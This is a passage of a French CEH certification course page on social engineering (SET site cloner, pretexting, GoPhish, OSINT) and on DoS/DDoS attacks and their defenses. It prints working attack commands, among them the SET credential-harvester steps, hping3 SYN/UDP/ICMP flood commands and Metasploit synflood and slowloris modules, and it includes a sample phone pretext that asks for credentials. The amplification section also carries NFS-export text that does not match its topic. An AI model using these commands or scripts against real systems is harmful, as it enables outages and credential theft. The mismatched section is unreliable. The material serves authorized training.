    Pourquoi c'est important : SET prouve à la direction qu'un clone parfait vole des identifiants en une minute : c'est l'argument qui fait financer MFA et formation.
    L'analogie qui aide : Fabriquer un faux guichet identique au vrai : la victime tape son code, vous le notez puis vous la renvoyez au vrai guichet sans éveiller de soupçon.
    • Vecteur Site Cloner : SET clone un site web d'authentification et héberge la copie. La victime se connecte au clone et ses credentials (ou sa session) sont capturées puis redirigées vers le site réel pour ne pas éveiller les soupçons.
    • Autres vecteurs : Email Attack (emails de phishing avec payload), Infectious Media Generator (média infecté : PDF, Word), USB HID (clavier USB simulé), QRCode Generator (phishing par QR code).
    • Politique d'utilisation : SET est destiné aux tests d'intrusion autorisés et aux exercices de sensibilisation ; l'utiliser sans autorisation est illégal.
    ### Utilisation du Social Engineering Toolkit
    sudo setoolkit
    # Choix du menu :
    # [1] Social-Engineering Attacks
    #   [2] Website Attack Vectors
    #     [3] Credential Harvester Attack Method
    #       [2] Site Cloner
    #   IP address for the POST back in Harvester/Tabnabbing : <IP de l'attaquant>
    #   URL to clone : http://www.exemple-connexion.com
    # Résultat : serveur web cloné qui capture les credentials POST
    
    ### Vérifier que le serveur de capture écoute
    sudo ss -tlnp | grep :80
    Démonstration pas à pas : Déroulé autorisé : sudo setoolkit puis 1 Social-Engineering Attacks, 2 Website Attack Vectors, 3 Credential Harvester, 2 Site Cloner. Renseignez l'IP de retour et l'URL à cloner. Vérifiez l'écoute avec ss -tlnp | grep :80 avant la campagne simulée.
    Point clé examen CEH : Le « Site Cloner » de SET crée une réplique qui capture les credentials (Credential Harvester). SET permet aussi l'envoi d'emails de phishing et les vecteurs USB. Rappel d'éthique : ces outils ne s'utilisent qu'avec autorisation écrite, dans le cadre d'un test d'intrusion.
    Pièges classiques : Piège CEH : utiliser SET hors autorisation. Même le clone est illégal sans contrat. Erreur : confondre Credential Harvester (vol de login) et payload (malware).
    À vous de jouer : Que capture le Site Cloner ?
    Voir la réponse

    Les identifiants POST saisis sur le clone, avec redirection vers le site réel pour rester discret pendant le test autorisé.

    🔍 Pretexting, Vishing et Ingénierie Sociale Physique

    Au-delà des emails, l'ingénierie sociale s'exerce par la parole (vishing) et en face à face (pretexting, baiting, tailgating, quid pro quo). Ces techniques reposent sur la construction d'un scénario crédible (pretext) et l'exploitation d'opportunités physiques. Le CEH les regroupe sous le thème de l'« human hacking ».

    Pourquoi c'est important : Un badge prêté par politesse (piggybacking) ou une clé USB ramassée (baiting) ouvre plus vite qu'une CVE : l'audit physique le prouve sans logiciel.
    L'analogie qui aide : Se déguiser en technicien (pretexting), appeler en se faisant passer pour la banque (vishing), laisser traîner un cadeau piégé (baiting) ou suivre un badge (tailgating).
    • Pretexting : Création d'un scénario (pretext) et d'un personnage crédible pour obtenir une information. Exemple : se faire passer pour un technicien qui doit « vérifier le compte ».
    • Vishing : Ingénierie sociale par appel téléphonique (voice phishing). L'attaquant utilise l'urgence et l'autorité, parfois avec l'usurpation du numéro (caller ID spoofing) ou la voix synthétisée.
    • Baiting (appâtage) : Offrir un leurre (clé USB, produit gratuit, téléchargement) pour inciter la victime à brancher l'appareil ou cliquer. Une clé USB infectée retrouvée « par hasard » dans un parking est un baiting classique.
    • Tailgating : Suivre une personne autorisée à travers un accès physique (porte badgée, sas) pour pénétrer dans un bâtiment sans authentification. Le piggybacking est la variante où la personne ouvre volontairement par politesse ou complicité.
    • Quid pro quo : Échange d'un service contre un accès : « je répare votre ordinateur si vous me donnez votre identifiant ». L'attaquant attend un contre-don de la victime.
    ### Scénario type de pretexting (téléphone)
    # Appelant : "Bonjour, ici le support informatique. Nous remarquons
    # une anomalie sur votre compte. Pouvez-vous confirmer votre identifiant
    # et votre code à 2 chiffres pour vérification ?"
    # (Le prétexte : anomalie de sécurité = urgence + autorité)
    
    ### Vishing : vérifier l'identité du correspondant
    # Raccrocher et rappeler le numéro officiel de l'organisation
    # Ne jamais donner de MFA / mot de passe par téléphone
    
    ### Baiting : politique d'usage des périphériques
    # - Clés USB inconnues : ne jamais brancher
    # - Désactiver l'autorun sur les postes
    Démonstration pas à pas : Déroulé scénario : appelant support qui invoque une anomalie (urgence plus autorité) et demande un code. Défense à enseigner : raccrocher, rappeler le numéro officiel, ne jamais donner MFA par téléphone, ne jamais brancher d'USB inconnue, désactiver l'autorun.
    Point clé examen CEH : Pretexting = scénario crédible ; vishing = par téléphone ; baiting = leurre physique (clé USB) ; tailgating = suivre quelqu'un ; quid pro quo = échange de service contre accès. Le tailgating se distingue du piggybacking par le consentement. Ces attaques physiques ne nécessitent aucune compétence technique.
    Pièges classiques : Piège CEH : confondre tailgating (sans consentement, on suit) et piggybacking (avec complaisance). Erreur : croire que le quid pro quo est technique (c'est un échange de service).
    À vous de jouer : Que faire face à un appel urgent du support ?
    Voir la réponse

    Raccrocher et rappeler le numéro officiel : on vérifie l'identité par un second canal, on ne transmet ni mot de passe ni MFA.

    🔍 GoPhish, OSINT Social et Contre-mesures

    GoPhish permet de déployer des campagnes de phishing en toute légalité pour mesurer la résistance d'une organisation. L'OSINT (renseignement d'origine sources ouvertes) sur les réseaux sociaux fournit le matériau de personnalisation (spear-phishing). Enfin, les contre-mesures transforment le maillon humain en première ligne de défense.

    Pourquoi c'est important : GoPhish mesure le taux de clics par service : le rapport chiffré fait décider MFA et simulations trimestrielles au lieu de vagues consignes.
    L'analogie qui aide : Organiser un exercice d'incendie (campagne simulée) : on compte qui sort par la mauvaise porte (clic, soumission) puis on réexplique le plan d'évacuation.
    • GoPhish : Plateforme web self-hébergée de campagnes : création d'emails, de landing pages clonées, envoi et suivi (qui a ouvert, cliqué, soumis). Mesure le taux de clic et de soumission pour sensibiliser.
    • OSINT social : Collecte d'informations publiques : LinkedIn (poste, relations, structure), Twitter/X (centres d'intérêt), Facebook/Instagram (vie privée), sites d'emploi. Ces données personnalisent l'attaque et accroissent la crédibilité.
    • Contre-mesures : Formation régulière (awareness), simulations de phishing contrôlées, MFA systématique (un mot de passe volé ne suffit plus), vérification des emails (SPF/DKIM/DMARC), signalement des incidents et confirmation par un second canal.
    ### GoPhish - démarrage et configuration
    gophish
    # Accéder à l'interface : https://localhost:3333 (compte admin par défaut)
    # 1. Landing Pages : cloner une page de connexion
    # 2. Email Templates : créer le mail de phish
    # 3. Sending Profiles : configurer le serveur SMTP
    # 4. Campaigns : créer la campagne, lancer, suivre le reporting
    
    ### OSINT : outils de reconnaissance
    theHarvester -d exmple.com -b linkedin
    theHarvester -d exmple.com -b all
    
    ### OSINT : rechercher un utilisateur sur les réseaux sociaux
    sherlock "nom.utilisateur"
    sherlock --timeout 5 --print-found "nom.utilisateur"
    
    ### Contre-mesures : activer la MFA (concept)
    # - OTP (TOTP) : mot de passe à usage unique
    # - Vérifier chaque demande de credential par un second canal
    # - Appliquer une politique de sensibilisation trimestrielle
    Démonstration pas à pas : Déroulé : lancez gophish, ouvrez https://localhost:3333. Créez Landing Page clonée, Email Template, Sending Profile SMTP, puis Campaign avec suivi ouverture, clic et soumission. En OSINT : theHarvester -b linkedin puis sherlock "nom.utilisateur" pour retrouver les comptes.
    Point clé examen CEH : GoPhish effectue des campagnes de phishing simulées pour mesurer la vulnérabilité humaine. La MFA est la contre-mesure technique la plus efficace : même si le mot de passe est volé, l'attaque échoue. L'OSINT (LinkedIn, réseaux sociaux) alimente le spear-phishing. La formation + simulations + MFA forment la défense en profondeur humaine.
    Pièges classiques : Piège CEH : croire que la MFA est optionnelle. Vol de mot de passe sans MFA = compromission ; avec MFA = échec. Erreur : campagne sans autorisation ni débrief.
    À vous de jouer : Quel indicateur prouve le risque humain ?
    Voir la réponse

    Le taux de soumission (identifiants saisis), plus grave que le taux d'ouverture ou de clic, issu d'une campagne autorisée.

  • 09

    Attaques DoS/DDoS

    Déni de service, amplification, botnets et contre-mesures

    ▼
    • ✓ Principes du DoS : SYN flood, UDP flood, ICMP flood Moyen
    • ✓ DDoS : botnets, Mirai, architectures de commande et contrôle Moyen
    • ✓ Amplification : DNS, NTP, Memcached, SSDP Difficile
    • ✓ Attaques couche applicative : Slowloris, RUDY, HOIC Difficile
    • ✓ Outils de test : hping3, LOIC, HOIC, Metasploit DoS modules Moyen
    • ✓ Analyse et détection : NetFlow, anomalies de trafic Moyen
    • ✓ Contre-mesures : rate limiting, WAF, CDN, Black Hole Routing Moyen

    🔍 Principes du DoS : SYN, UDP et ICMP Flood

    Une attaque par déni de service (DoS) vise à rendre un service, un système ou un réseau indisponible en consommant ses ressources (bande passante, connexions, CPU, mémoire) jusqu'à saturation. Les attaques de couche transport et réseau exploitent la poignée de main TCP ou des paquets volumineux pour épuiser les ressources. Un DoS émane d'une seule source ; un DDoS d'un ensemble distribué.

    Pourquoi c'est important : Un SYN flood sature la file SYN_RECV et bloque les clients légitimes : le SOC le voit en netstat avant la panne et dimensionne les mitigations.
    L'analogie qui aide : Bloquer l'entrée d'un magasin en faisant semblant de commencer un achat mille fois (SYN sans ACK final) ou en inondant le comptoir de faux colis (UDP) ou d'appels (ICMP).
    • SYN flood : L'attaquant envoie une rafale de segments SYN avec des adresses IP source forgées (spoofées) mais ne répond jamais aux SYN-ACK. Le serveur garde les connexions semi-ouvertes (état SYN_RECV) dans sa file d'attente, qui finit par saturer et refuse les nouvelles connexions légitimes.
    • UDP flood : Envoi massif de datagrammes UDP vers des ports aléatoires de la cible. Le serveur répond avec des messages ICMP Port Unreachable, consommant bande passante et CPU. Particulièrement destructeur pour les services sensibles comme les jeux ou la VoIP.
    • ICMP flood : Inondation de paquets ICMP Echo Request (ping). Le système doit traiter chaque requête, saturant le CPU. La variante smurf exploite une adresse de broadcast avec des requêtes ping pour amplifier : toutes les machines du réseau répondent.
    ### SYN flood avec hping3
    sudo hping3 -S -p 80 --flood 192.168.1.100
    # -S : flag SYN ; --flood : envoi maximal sans attente
    
    ### UDP flood avec hping3
    sudo hping3 -2 -p 53 --flood 192.168.1.100
    
    ### ICMP flood
    sudo hping3 -1 --flood 192.168.1.100
    
    ### Observer les connexions semi-ouvertes (état SYN_RECV)
    netstat -ant | grep SYN_RECV | wc -l
    ss -s   # statistiques TCP
    Démonstration pas à pas : Déroulé lab : sudo hping3 -S -p 80 --flood 192.168.1.100 (flag -S = SYN, --flood = envoi maximal). Puis -2 pour UDP (flag -2 = UDP) et -1 pour ICMP (flag -1 = ICMP). Observez côté cible : netstat -ant | grep SYN_RECV | wc -l et ss -s pour la saturation.
    Point clé examen CEH : Le SYN flood exploite l'état SYN_RECV (file d'attente de connexions semi-ouvertes). L'ICMP flood envoie des ping massifs ; la variante smurf utilise le broadcast pour amplifier. hping3 est l'outil de référence (-1 ICMP, -2 UDP, -S SYN, --flood).
    Pièges classiques : Piège CEH : confondre DoS (une source) et DDoS (distribué). Erreur : hping3 sans sudo (pas de paquets bruts) ou smurf confondu avec SYN flood (smurf = broadcast ICMP amplifié).
    À vous de jouer : Que signifie une explosion de SYN_RECV ?
    Voir la réponse

    Des connexions semi-ouvertes qui remplissent la file : signature typique d'un SYN flood avec IP spoofées.

    🔍 Amplification : DNS, NTP, Memcached, SSDP

    Les attaques par amplification transforment un petit paquet en un très gros volume destiné à la victime en utilisant la spoofing d'adresse source. L'attaquant envoie une requête avec l'adresse IP de la victime comme expéditeur vers un serveur qui répond avec une réponse beaucoup plus grande, dirigée vers la victime. Le facteur d'amplification est le rapport entre la taille de la réponse et celle de la requête : plus il est grand, plus l'attaque est puissante.

    Pourquoi c'est important : Un export NFS en everyone montable par tous donne lecture, parfois écriture root avec no_root_squash : c'est un accès fichier direct sans identifiant, critique en audit Unix.
    L'analogie qui aide : Un garde-meuble dont le cadenas est resté ouvert (showmount -e) : on loue un camion (mount) et on repart avec les cartons, parfois avec les droits du propriétaire.
    • DNS amplification : Requête DNS (petite) avec réponses potentiellement grandes. L'utilisation des extensions EDNS0 et de gros enregistrements (TXT, ANY) donne des facteurs d'amplification de 30 à 70. Le trafic DNS UDP n'est souvent pas filtré.
    • NTP amplification (monlist) : La commande monlist d'un serveur NTP renvoie la liste des 600 derniers clients moniteurs. Une requête d'environ 64 octets produit une réponse d'environ 4800 octets : facteur d'amplification d'environ 500, parmi les plus élevés.
    • Memcached amplification : Serveur de cache mémoire (port 11211 UDP) exploité via les requêtes stats ou GET. Facteur d'amplification record pouvant atteindre 51 000 ; à l'origine d'attaques DDoS dépassant 1 Tbit/s. Provient de serveurs Memcached exposés à Internet.
    • SSDP amplification : Protocole UPnP (Simple Service Discovery Protocol) sur le port 1900. Les réponses M-SEARCH peuvent être amplifiées avec un facteur d'environ 30.
    ### Tester en local un facteur d'amplification NTP (monlist)
    sudo nmap -sU -pU:123 --script ntp-monlist <serveur>
    
    ### Vérifier si un serveur DNS est ouvert en récursion (amplifiable)
    dig +short TXT <domaine> @<serveur-dns>   # réponse TXT volumineuse
    dig +short ANY <domaine> @<serveur-dns>
    
    ### Vérifier un port Memcached exposé à Internet (11211 UDP)
    nc -zu <serveur> 11211
    
    ### Détecter les amplificateurs ouverts (approche défensive)
    sudo nmap -sU -pU:123 --script ntp-monlist 192.168.1.0/24
    Démonstration pas à pas : Déroulé : showmount -e 203.0.113.50 (liste les exports). Puis mkdir /mnt/nfs et mount -t nfs 203.0.113.50:/home /mnt/nfs (monte l'export). Puis ls -la pour inventorier. En parallèle : rpcinfo -p (services RPC) et ntpq -c peers (paires NTP, monlist souvent sensible).
    Point clé examen CEH : Le facteur d'amplification est le rapport réponse/requête. Ordre à retenir : NTP monlist (environ 500x), DNS (environ 70x), SSDP (environ 30x), et Memcached jusqu'à environ 51000x. Ces attaques reposent sur la spoofing d'adresse source UDP. La défense repose sur l'anti-spoofing (BCP38) et le durcissement des serveurs UDP exposés.
    Pièges classiques : Piège CEH : ignorer no_root_squash (root distant reste root, escalade directe). Erreur : monter en écriture hors autorisation.
    À vous de jouer : Que signifie /home (everyone) ?
    Voir la réponse

    Que tout le monde peut monter l'export : fuite ou prise de contrôle selon les droits, à signaler en critique.

    🔍 DDoS : Botnets, Mirai et Architectures C2

    Un DDoS (distributed denial of service) émane de milliers de machines compromises formant un botnet. La puissance coordonnée d'un botnet permet de saturer des infrastructures qui résisteraient à une source unique. Le botnet le plus célèbre, Mirai, a mis en avant la vulnérabilité des objets connectés (IoT) par mots de passe par défaut.

    Pourquoi c'est important : Mirai a mis Internet à genoux avec des caméras en admin/admin : l'audit IoT qui change ces mots de passe coupe le carburant des DDoS géants.
    L'analogie qui aide : Une armée de zombies télécommandés (bots) par radio (C2 centralisé) ou par bouche-à-oreille (P2P résilient), recrutés parce qu'ils laissaient leur porte ouverte (default creds).
    • Architecture C2 : Le botnet est organisé en architecture centralisée (client-serveur), où les bots contactent un serveur de commande et de contrôle (C2) via IRC, HTTP ou HTTPS, ou en architecture décentralisée (P2P) plus résiliente.
    • Bot : Machine infectée contrôlée à distance ; elle reçoit les ordres du C2 (exécuter un flood, envoyer du spam) et exécute les attaques en coordination.
    • Mirai (2016) : Botnet de dispositifs IoT (caméras IP, routeurs, DVR) infectés en scannant Internet pour trouver des appareils utilisant des mots de passe par défaut (admin/admin, root/123456). Il a provoqué des DDoS massifs (DNS provider Dyn, plus de 1 Tbit/s). Son code source a été rendu public, entraînant de nombreuses variantes.
    ### Concepts d'architecture C2
    # Centralisé : bots -> C2 (HTTP/IRC/HTTPS). Point de défaillance unique.
    # P2P        : bots communiquent en pair-à-pair, résilient (ZeroAccess, Hajime)
    
    ### Référence : mots de passe par défaut souvent testés par Mirai
    # admin/admin, root/123456, root/root, admin/password
    
    ### Détection d'un botnet : trafic sortant anormal
    # - Connexions périodiques vers une même IP de C2
    # - Volume anormal de trafic UDP/ICMP sortant
    Démonstration pas à pas : Déroulé conceptuel : centralisé = bots vers C2 HTTP ou IRC (point unique à bloquer) ; P2P = maillage résilient. Indicateurs : connexions périodiques vers une même IP, trafic UDP sortant anormal. Référence Mirai 2016 contre Dyn, plus de 1 Tbit/s, code source public et variantes.
    Point clé examen CEH : Mirai infecte les objets IoT via les mots de passe par défaut. L'architecture C2 centralisée (HTTP/IRC) est la plus courante ; le P2P est plus résilient. La détection d'un botnet peut s'appuyer sur l'analyse du trafic sortant vers des C2. Renforcer les appareils IoT est une contre-mesure essentielle.
    Pièges classiques : Piège CEH : dire que Mirai exploitait une 0-day complexe. Il utilisait des defaults connus. Erreur : confondre bot (machine) et botnet (ensemble piloté).
    À vous de jouer : Que changer en premier contre Mirai ?
    Voir la réponse

    Les mots de passe par défaut des IoT, la segmentation et les mises à jour : sans recrues, pas de botnet.

    🔍 Attaques de Couche Applicative : Slowloris, RUDY, HOIC

    Les attaques de la couche applicative (couche 7 du modèle OSI) sont discrètes et économes : elles n'inondent pas le réseau mais exploitent la logique des protocoles applicatifs (surtout HTTP) pour épuiser les ressources du serveur web avec très peu de bande passante. Elles épuisent les connexions ouvertes, les threads ou la mémoire de l'application.

    Pourquoi c'est important : Slowloris met un Apache à genoux avec un modem : peu de bande passante, beaucoup de connexions lentes. Le WAF et les timeouts sont la parade, pas le gros tuyau.
    L'analogie qui aide : Occuper toutes les cabines d'essayage en entrant sans jamais essayer (requêtes partielles lentes) ou commander un menu énorme servi cuillère par cuillère (RUDY POST lent).
    • Slowloris : Ouvre de nombreuses connexions HTTP et envoie des requêtes partielles (en-têtes incomplets, envoi très lent). Le serveur garde chaque connexion ouverte en attendant la fin de la requête. Peu de ressources nécessaires ; épuise le pool de connexions du serveur web.
    • RUDY (R-U-Dead-Yet) : Variante qui envoie des requêtes POST avec d'énormes en-têtes Content-Length mais transmet les données très lentement. Le serveur alloue la mémoire pour un corps de requête attendu, saturant la mémoire et les connexions simultanées.
    • HOIC (High Orbit Ion Cannon) : Outil graphique de DDoS applicatif plus agressif que LOIC, permet l'attaque de plusieurs cibles simultanément avec des requêtes HTTP générées par des scripts.
    • LOIC : Outil simple de flood (TCP/UDP/HTTP) à l'origine des opérations Anonymous. À la différence de Slowloris, il sature plutôt la bande passante que les connexions applicatives.
    ### Slowloris - principe (à des fins de test)
    # - Créer de nombreuses connexions TCP
    # - Envoyer des en-têtes HTTP partiels
    # - Garder les connexions ouvertes le plus longtemps possible
    
    ### hping3 - connexions TCP sans compléter la poignée de main
    sudo hping3 -S -p 80 -i u1 192.168.1.100
    
    ### Configurer Apache pour limiter les connexions (défensif)
    # /etc/apache2/apache2.conf
    Timeout 10
    KeepAliveTimeout 5
    MaxRequestWorkers 50
    
    ### Observer les connexions HTTP en attente (signe Slowloris)
    netstat -ant | grep ":80 " | wc -l
    # nombre anormalement élevé de connexions en attente = signe Slowloris
    Démonstration pas à pas : Déroulé : Slowloris ouvre des connexions et envoie des en-têtes incomplets très lentement, le serveur garde chaque thread. RUDY annonce un Content-Length énorme puis envoie lentement. Observez : netstat -ant | grep ":80 " | wc -l (connexions en attente). Défense : Timeout 10 et KeepAliveTimeout 5 sous Apache, limite par IP.
    Point clé examen CEH : Slowloris et RUDY sont des attaques « low and slow » de couche 7 : peu de bande passante, beaucoup de connexions et de threads consommés. LOIC/HOIC sont des outils de flood DDoS. HOIC est plus puissant que LOIC. Les contre-mesures applicatives passent par la limitation des connexions par IP et l'ajustement des timeouts serveur.
    Pièges classiques : Piège CEH : classer Slowloris en flood volumétrique. C'est low and slow de couche 7. Erreur : confondre LOIC (flood) et Slowloris (connexions lentes).
    À vous de jouer : Quel signe trahit Slowloris ?
    Voir la réponse

    Un nombre anormal de connexions HTTP en attente avec très peu de bande passante consommée.

    🔍 Outils DoS et Détection / Contre-mesures

    Pour tester la résistance d'une infrastructure, on utilise des outils spécialisés : hping3 pour les floods réseau, LOIC et HOIC pour le DDoS applicatif, et les modules auxiliaires DoS de Metasploit. Côté défensif, la détection repose sur l'analyse du trafic (NetFlow, anomalies) et la protection passe par le rate limiting, le WAF, les CDN, le black hole routing et l'anti-spoofing (BCP38).

    Pourquoi c'est important : Tester hping3, LOIC et modules Metasploit en lab autorisé prouve la résistance, puis NetFlow, rate limiting, CDN et black hole donnent au SOC une réponse graduée.
    L'analogie qui aide : Des extincteurs calibrés (rate limiting), des portes coupe-feu (WAF), des sorties de secours réparties (CDN) et un sas d'isolement (black hole) avec détecteurs de fumée (NetFlow).
    • Outils : hping3 (crafting de paquets, floods), LOIC/HOIC (DDoS), Metasploit (modules auxiliaires auxiliary/dos/ : tcp/synflood, http/slowloris, ntp/ntpdos).
    • Détection - NetFlow : Protocole de métrologie des flux réseau (source, destination, ports, protocole, volume). Permet de visualiser une hausse anormale de trafic vers une cible ou une distribution asymétrique SYN, avant même l'écroulement du service.
    • Détection - Anomalies : Pic de volume, nombre anormal de connexions SYN_RECV, paquets spoofés, amplification UDP, hausse soudaine de connexions lentes — autant de signatures de DoS/DDoS détectables par analyse comportementale.
    • Rate limiting : Limitation du nombre de requêtes par IP et par unité de temps (nginx/Apache, fail2ban).
    • WAF : Web Application Firewall qui filtre les requêtes applicatives et bloque Slowloris, RUDY, etc.
    • CDN : Réseau de distribution de contenu qui absorbe et disperse le trafic inondé vers des points de présence distribués.
    • Black hole routing : Redirection du trafic malveillant (ou de l'IP cible) vers une interface « trou noir » (null) pour le jeter, protégeant la cible au prix de sa disponibilité.
    • BCP38 : Filtrage d'ingress et d'egress (anti-spoofing) qui rejette le trafic avec une adresse source non valide, neutralisant les attaques par amplification reposant sur la spoofing.
    ### hping3 - floods divers
    sudo hping3 -S -p 80 --flood 192.168.1.100        # SYN flood
    sudo hping3 -2 -p 53 --flood 192.168.1.100         # UDP flood
    sudo hping3 -1 --flood 192.168.1.100               # ICMP flood
    
    ### Metasploit - module DoS SYN flood
    use auxiliary/dos/tcp/synflood
    set RHOSTS 192.168.1.100
    set RPORT 80
    set NUM 1000000
    run
    
    ### Metasploit - Slowloris
    use auxiliary/dos/http/slowloris
    set RHOSTS 192.168.1.100
    run
    
    ### Activer le rate limiting (nginx - serveur autorisé)
    # http { limit_req_zone $binary_remote_addr zone=req:10m rate=10r/s; }
    # server { location / { limit_req zone=req burst=20; } }
    
    ### fail2ban - bannir les IP anormales
    # /etc/fail2ban/jail.local
    # [slowloris]
    # enabled = true
    # filter = apache-slowloris
    # maxretry = 5
    
    ### Détection NetFlow (concept)
    # Un pic de débit soudain vers une IP = alerte DDoS
    # NetFlow export sur port 2055, analyser avec nfdump ou elastiflow
    Démonstration pas à pas : Déroulé : hping3 -S -p 80 --flood (SYN), use auxiliary/dos/tcp/synflood avec RHOSTS, RPORT et NUM puis run, use auxiliary/dos/http/slowloris pour la couche 7. Défense : limit_req sous nginx, fail2ban, CDN qui absorbe, black hole vers null, BCP38 anti-spoof. Détection : pic NetFlow vers une IP sur le port 2055.
    Point clé examen CEH : Retenez les contre-mesures par couche : rate limiting + WAF (application), CDN (distribution des flux), black hole routing (neutralisation), BCP38 et anti-spoofing (réseau). NetFlow détecte les anomalies en étudiant les flux (pas les paquets individuels). Ces connaissances sont régulièrement testées au CEH, tant dans les outils que dans les défenses.
    Pièges classiques : Piège CEH : dire que NetFlow inspecte chaque paquet. Il analyse les flux (volumes, ports, asymétrie SYN). Erreur : black hole confondu avec mitigation transparente (la cible reste indisponible).
    À vous de jouer : Quelle défense tue l'amplification à la source ?
    Voir la réponse

    BCP38 (filtrage ingress et egress anti-spoof) plus fermeture des UDP ouverts : sans spoof, pas d'amplification.

FormationCertifIT CEH Formation

Formation EC-Council Certified Ethical Hacker complète.

Parcours

  • Débutant
  • Intermédiaire
  • Expert

Pratique

  • Terminal Pentest
  • Quiz CEH
  • Flashcards
  • Fiches

Ressources

  • Documentation CEH

EC-Council CEH Formation © 2026 — Créé par Horizon 5 — www.horizon5.org

Horizon 5 est un organisme de formation indépendant, sans affiliation ni approbation des éditeurs de certifications cités. Les examens officiels sont passés séparément auprès des organismes certificateurs.